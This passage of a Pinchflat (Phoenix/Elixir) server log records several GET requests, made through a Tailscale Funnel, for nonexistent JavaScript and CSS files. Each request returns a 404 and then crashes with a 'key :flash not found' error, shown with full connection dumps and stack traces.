~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/protect/index.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/protect/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/protect/index.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41370}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4188.0>, params: %{}, path_info: ["static", "style", "protect", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, (truncated) 14:22:29.491 [info] GET /css/support_parent.css 14:22:29.492 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1752.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:29.493 [debug] QUERY OK source="settings" db=0.2ms idle=1753.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:29.493 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:29.494 [error] #PID<0.4191.0> running PinchflatWeb.Endpoint (connection #PID<0.4190.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /css/support_parent.css ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css/support_parent (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4191.0>, params: %{}, path_info: ["css", "support_parent"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/css/support_parent.css", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM31ni27tIhJEAAYSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css/support_parent (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4191.0>, params: %{}, path_info: ["css", "support_parent"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>] (truncated) 14:22:29.630 [info] GET /assets/js/message.js 14:22:29.631 [debug] QUERY OK source="settings" db=0.2ms idle=1890.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:29.631 [debug] QUERY OK source="settings" db=0.1ms idle=1886.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:29.631 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:29.631 [error] #PID<0.4192.0> running PinchflatWeb.Endpoint (connection #PID<0.4190.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /assets/js/message.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/message (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4192.0>, params: %{}, path_info: ["assets", "js", "message"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/assets/js/message.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM32Imjx7xnuUAAYTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/message (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4192.0>, params: %{}, path_info: ["assets", "js", "message"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], (truncated) 14:22:29.803 [info] GET /bot-connect.js 14:22:29.803 [debug] QUERY OK source="settings" db=0.2ms idle=310.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:29.803 [debug] QUERY OK source="settings" db=0.1ms idle=310.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:29.803 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:29.804 [error] #PID<0.4193.0> running PinchflatWeb.Endpoint (connection #PID<0.4190.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /bot-connect.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bot-connect (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4193.0>, params: %{}, path_info: ["bot-connect"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "157.143.3.35"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/bot-connect.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVM32xz2V4ckaAAAYUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bot-connect (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4193.0>, params: %{}, path_info: ["bot-connect"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :pho (truncated) 14:22:32.279 [info] GET /assets/js/auth.js 14:22:32.280 [debug] QUERY OK source="settings" db=0.4ms idle=1540.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:32.281 [debug] QUERY OK source="settings" db=0.2ms idle=1532.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:32.281 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:22:32.282 [error] #PID<0.4195.0> running PinchflatWeb.Endpoint (connection #PID<0.4190.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /assets/js/auth.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/auth (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4190.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/auth.js", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 42990}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "157.143.3.35", "x-forwarded-host" => 